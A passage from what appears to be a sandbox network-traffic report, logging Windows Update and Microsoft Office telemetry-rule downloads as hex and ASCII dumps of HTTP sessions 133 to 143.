2024-12-06 17:46:06 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49871	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:06 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=P+eths3fKrTxYz6&MD=kKBr4+A7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-06 17:46:07 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: f93ebce4-5f82-41ba-b26f-312f15e735b0 MS-RequestId: 3113b143-8510-4c46-bff1-f9e388c4a1db MS-CV: SZLesLSsmkyGnkq7.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 06 Dec 2024 17:46:06 GMT Connection: close Content-Length: 30005
2024-12-06 17:46:07 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-12-06 17:46:07 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:06 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:07 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:07 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: e40b0455-101e-008e-19d2-45cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174607Z-1746fd949bd4w8sthC1EWR7004000000048000000000mgzm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:07 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:07 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:07 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:07 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: f7184125-501e-0064-68d4-451f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174607Z-1746fd949bd7wvgbhC1EWR0rgs00000004fg00000000wu36 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:07 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:07 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:08 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:07 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 8863b02e-001e-008d-5ccb-45d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174607Z-1746fd949bd6zq92hC1EWRry4800000004c000000000xf0r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:08 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:08 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:08 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:08 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 0cb9a159-001e-0079-71ce-4512e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174608Z-1746fd949bdlqd7fhC1EWR6vt000000004kg00000000wd39 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:08 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:09 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:09 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:09 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 626f3694-401e-0015-30d1-450e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174609Z-1746fd949bd7wvgbhC1EWR0rgs00000004fg00000000wu62 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:09 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:09 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:09 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:09 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: cb1151f5-801e-0078-1392-47bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174609Z-1746fd949bdjrnwqhC1EWRpg2800000004fg00000000wurb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:09 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:09 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:10 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:09 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 4f685411-201e-0033-27cc-45b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174609Z-1746fd949bd6zq92hC1EWRry4800000004m0000000003aqf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:10 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:09 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:10 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:10 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 0db49ca6-a01e-001e-68d9-4549ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174610Z-1746fd949bdjrnwqhC1EWRpg2800000004n000000000ahac x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:10 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:10 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:10 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:10 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: e8edde3b-801e-0083-79cc-45f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174610Z-1746fd949bdlqd7fhC1EWR6vt000000004u0000000000dqg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:10 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:11 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:11 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:11 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 8dafbd59-c01e-0034-0bce-452af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174611Z-1746fd949bdtlp5chC1EWRq1v400000004eg00000000k392 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
